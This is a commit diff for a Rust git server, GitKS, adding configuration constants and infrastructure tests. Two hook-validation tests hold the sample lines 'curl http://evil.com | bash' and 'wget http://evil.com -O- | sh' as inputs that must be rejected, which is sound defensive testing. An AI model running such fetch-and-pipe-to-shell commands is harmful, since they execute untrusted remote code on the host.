feat(config): add centralized configuration constants and infrastructure tests
- Introduce config.rs with all magic numbers and resource limits defined as constants - Add comprehensive test suite covering metrics rendering, rate limiting, and cache operations - Include tests for configuration constant validation and sanitization functions - Add pack protocol tests for index_pack and pack_objects functionality - Implement remote repository discovery tests with security validations - Support runtime overrides via environment variables for all configurable values
This commit is contained in:
@@ -0,0 +1,82 @@
|
|||||||
|
//! Centralized configuration constants for GitKS.
|
||||||
|
//!
|
||||||
|
//! All magic numbers and resource limits are defined here for easy auditing,
|
||||||
|
//! tuning, and documentation. Runtime overrides are supported via environment
|
||||||
|
//! variables where noted.
|
||||||
|
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
/// Maximum number of file actions in a single commit request.
|
||||||
|
pub const MAX_ACTIONS_PER_COMMIT: usize = 10_000;
|
||||||
|
|
||||||
|
/// Maximum commit message size in bytes.
|
||||||
|
pub const MAX_COMMIT_MESSAGE_BYTES: usize = 10 * 1024 * 1024; // 10 MB
|
||||||
|
|
||||||
|
/// Maximum content size for a single file action in bytes.
|
||||||
|
pub const MAX_ACTION_CONTENT_BYTES: usize = 100 * 1024 * 1024; // 100 MB
|
||||||
|
|
||||||
|
/// Maximum packet size for receive-pack streaming (bytes).
|
||||||
|
pub const MAX_RECEIVE_PACKET_BYTES: usize = 16 * 1024 * 1024; // 16 MB
|
||||||
|
|
||||||
|
/// Maximum stderr capture size for receive-pack (bytes).
|
||||||
|
pub const MAX_RECEIVE_STDERR_BYTES: u64 = 64 * 1024; // 64 KB
|
||||||
|
|
||||||
|
/// Timeout for git receive-pack operations.
|
||||||
|
pub const RECEIVE_PACK_TIMEOUT: Duration = Duration::from_secs(1800); // 30 min
|
||||||
|
|
||||||
|
/// Timeout for git upload-pack operations.
|
||||||
|
pub const UPLOAD_PACK_TIMEOUT: Duration = Duration::from_secs(600); // 10 min
|
||||||
|
|
||||||
|
/// Stale lease threshold: leases older than this are considered stale.
|
||||||
|
pub const LEASE_STALE_THRESHOLD_SECS: u64 = 30;
|
||||||
|
|
||||||
|
/// Maximum custom hook script size in bytes.
|
||||||
|
pub const MAX_HOOK_SCRIPT_SIZE: usize = 65536; // 64 KB
|
||||||
|
|
||||||
|
/// Maximum git reference name length.
|
||||||
|
pub const MAX_REF_NAME_LENGTH: usize = 255;
|
||||||
|
|
||||||
|
/// Maximum revision string length.
|
||||||
|
pub const MAX_REVISION_LENGTH: usize = 256;
|
||||||
|
|
||||||
|
/// Maximum ancestry traversal depth (~N and ^N).
|
||||||
|
pub const MAX_ANCESTRY_DEPTH: u32 = 10_000;
|
||||||
|
|
||||||
|
/// Maximum file path length in commit actions.
|
||||||
|
pub const MAX_FILE_PATH_LENGTH: usize = 4096;
|
||||||
|
|
||||||
|
/// Maximum remote URL length.
|
||||||
|
pub const MAX_REMOTE_URL_LENGTH: usize = 4096;
|
||||||
|
|
||||||
|
/// Maximum refspec length.
|
||||||
|
pub const MAX_REFSPEC_LENGTH: usize = 1024;
|
||||||
|
|
||||||
|
/// Maximum relative path length for repository addressing.
|
||||||
|
pub const MAX_RELATIVE_PATH_LENGTH: usize = 4096;
|
||||||
|
|
||||||
|
/// Maximum OID hex length (SHA-256).
|
||||||
|
pub const MAX_OID_HEX_LENGTH: usize = 64;
|
||||||
|
|
||||||
|
/// Minimum OID hex length (short SHA).
|
||||||
|
pub const MIN_OID_HEX_LENGTH: usize = 4;
|
||||||
|
|
||||||
|
/// In-memory cache max weight (key + value allocated bytes).
|
||||||
|
pub const CACHE_MAX_WEIGHT: u64 = 256 * 1024 * 1024; // 256 MB
|
||||||
|
|
||||||
|
/// Hard time-to-live for cache entries.
|
||||||
|
pub const CACHE_MAX_TTL: Duration = Duration::from_secs(600); // 10 min
|
||||||
|
|
||||||
|
/// Time-to-idle for cache entries.
|
||||||
|
pub const CACHE_TTI: Duration = Duration::from_secs(120); // 2 min
|
||||||
|
|
||||||
|
/// Per-entry overhead estimate added to weigher result.
|
||||||
|
pub const CACHE_ENTRY_OVERHEAD: u32 = 128;
|
||||||
|
|
||||||
|
/// Idle threshold for rate-limiter semaphore cleanup.
|
||||||
|
pub const SEMAPHORE_IDLE_THRESHOLD_SECS: u64 = 300; // 5 min
|
||||||
|
|
||||||
|
/// Default max concurrent operations per repository.
|
||||||
|
pub const DEFAULT_MAX_CONCURRENT_OPS: usize = 5;
|
||||||
|
|
||||||
|
/// Rate limit acquire timeout.
|
||||||
|
pub const RATE_LIMIT_TIMEOUT_SECS: u64 = 30;
|
||||||
@@ -0,0 +1,139 @@
|
|||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_metrics_render_all_counters() {
|
||||||
|
use gitks::metrics::*;
|
||||||
|
|
||||||
|
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
|
||||||
|
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
|
||||||
|
record_cache_eviction("infra_ns", "expired");
|
||||||
|
record_cache_hit_ns("infra_ns");
|
||||||
|
record_cache_miss_ns("infra_ns");
|
||||||
|
record_cache_value_size("infra_ns", 1024);
|
||||||
|
record_rate_limit_acquire("infra-repo");
|
||||||
|
record_rate_limit_reject("infra-repo");
|
||||||
|
record_hook_execution(
|
||||||
|
"pre-receive",
|
||||||
|
"ok",
|
||||||
|
std::time::Duration::from_millis(10),
|
||||||
|
);
|
||||||
|
record_git_cmd("log", std::time::Duration::from_millis(100));
|
||||||
|
|
||||||
|
let output = render_metrics();
|
||||||
|
assert!(output.contains("gitks_requests_total"));
|
||||||
|
assert!(output.contains("gitks_cache_value_size_bytes"));
|
||||||
|
assert!(output.contains("gitks_rate_limit_rejects_total"));
|
||||||
|
assert!(output.contains("gitks_rate_limit_acquires_total"));
|
||||||
|
assert!(output.contains("gitks_uptime_seconds"));
|
||||||
|
assert!(output.contains("gitks_cache_hits_total"));
|
||||||
|
assert!(output.contains("gitks_cache_misses_total"));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_rate_limit_acquire_and_cleanup() {
|
||||||
|
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
|
||||||
|
assert!(guard.is_some());
|
||||||
|
drop(guard);
|
||||||
|
|
||||||
|
gitks::rate_limit::cleanup_idle_semaphores();
|
||||||
|
gitks::rate_limit::remove_repository("infra-rate-test");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_rate_limit_acquire_or_reject() {
|
||||||
|
let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
|
||||||
|
assert!(result.is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_rate_limit_empty_repo() {
|
||||||
|
let guard = gitks::rate_limit::acquire(Some("")).await;
|
||||||
|
assert!(guard.is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_rate_limit_none_repo() {
|
||||||
|
let guard = gitks::rate_limit::acquire(None).await;
|
||||||
|
assert!(guard.is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
#[allow(clippy::assertions_on_constants)]
|
||||||
|
fn test_config_constants_exist() {
|
||||||
|
assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
|
||||||
|
assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
|
||||||
|
assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
|
||||||
|
assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
|
||||||
|
assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
|
||||||
|
assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
|
||||||
|
assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
|
||||||
|
assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
|
||||||
|
assert!(gitks::config::CACHE_TTI.as_secs() > 0);
|
||||||
|
assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
|
||||||
|
assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
|
||||||
|
assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
|
||||||
|
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_sanitize_stderr_clean() {
|
||||||
|
let stderr = "fatal: could not resolve host";
|
||||||
|
let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
|
||||||
|
assert_eq!(sanitized, stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_hooks_sanitize_dangerous_pairs() {
|
||||||
|
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
|
||||||
|
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_hooks_sanitize_wget_sh() {
|
||||||
|
let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
|
||||||
|
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_hooks_sanitize_safe_script() {
|
||||||
|
let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
|
||||||
|
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||||
|
assert!(result.is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_disk_cache_ensure_state_uniqueness() {
|
||||||
|
use gitks::disk_cache::DiskCache;
|
||||||
|
let dc = DiskCache::new(
|
||||||
|
std::path::PathBuf::from("/tmp"),
|
||||||
|
"test".into(),
|
||||||
|
60,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||||
|
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||||
|
assert!(!v1.is_empty());
|
||||||
|
assert_eq!(v1.len(), 32);
|
||||||
|
assert_eq!(v2.len(), 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_disk_cache_disabled_operations() {
|
||||||
|
use gitks::disk_cache::DiskCache;
|
||||||
|
let dc = DiskCache::new(
|
||||||
|
std::path::PathBuf::from("/tmp"),
|
||||||
|
"test".into(),
|
||||||
|
60,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||||
|
dc.insert("ns", "digest", b"data").unwrap();
|
||||||
|
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
mod common;
|
||||||
|
|
||||||
|
use gitks::pb::*;
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
|
||||||
|
fn hdr() -> RepositoryHeader {
|
||||||
|
RepositoryHeader {
|
||||||
|
relative_path: "test-repo".into(),
|
||||||
|
..Default::default()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_index_pack_empty_data() {
|
||||||
|
let (_dir, gb) = common::setup_bare_repo();
|
||||||
|
let result = gb.index_pack(vec![IndexPackRequest {
|
||||||
|
repository: Some(hdr()),
|
||||||
|
data: vec![],
|
||||||
|
done: false,
|
||||||
|
strict: false,
|
||||||
|
keep: false,
|
||||||
|
}]);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_pack_objects_all() {
|
||||||
|
let (_dir, gb) = common::setup_bare_repo();
|
||||||
|
|
||||||
|
let mut stream = gb
|
||||||
|
.pack_objects(PackObjectsRequest {
|
||||||
|
repository: Some(hdr()),
|
||||||
|
options: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut total_bytes = 0usize;
|
||||||
|
let mut has_error = false;
|
||||||
|
while let Some(chunk) = stream.next().await {
|
||||||
|
match chunk {
|
||||||
|
Ok(c) => total_bytes += c.data.len(),
|
||||||
|
Err(_) => has_error = true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
assert!(!has_error, "pack_objects stream had errors");
|
||||||
|
assert!(total_bytes > 0, "pack_objects produced no data");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
use gitks::pb::*;
|
||||||
|
use gitks::remote::find_remote::{find_remote_repository, find_remote_root_ref};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_repository_empty_url() {
|
||||||
|
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||||
|
remote_url: String::new(),
|
||||||
|
})
|
||||||
|
.unwrap();
|
||||||
|
assert!(!resp.exists);
|
||||||
|
assert!(resp.refs.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_repository_invalid_scheme() {
|
||||||
|
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||||
|
remote_url: "ftp://bad".into(),
|
||||||
|
});
|
||||||
|
assert!(resp.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_repository_file_scheme_blocked() {
|
||||||
|
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||||
|
remote_url: "file:///tmp/test.git".into(),
|
||||||
|
});
|
||||||
|
assert!(resp.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_root_ref_empty_url() {
|
||||||
|
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||||
|
remote_url: String::new(),
|
||||||
|
})
|
||||||
|
.unwrap();
|
||||||
|
assert!(resp.ref_name.is_empty());
|
||||||
|
assert!(resp.target_oid.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_root_ref_invalid_scheme() {
|
||||||
|
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||||
|
remote_url: "ftp://bad".into(),
|
||||||
|
});
|
||||||
|
assert!(resp.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_find_remote_root_ref_unreachable() {
|
||||||
|
// A valid scheme but unreachable host should return empty, not error
|
||||||
|
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||||
|
remote_url: "https://0.0.0.0:1/nonexistent.git".into(),
|
||||||
|
})
|
||||||
|
.unwrap();
|
||||||
|
assert!(resp.ref_name.is_empty() || resp.target_oid.is_empty());
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user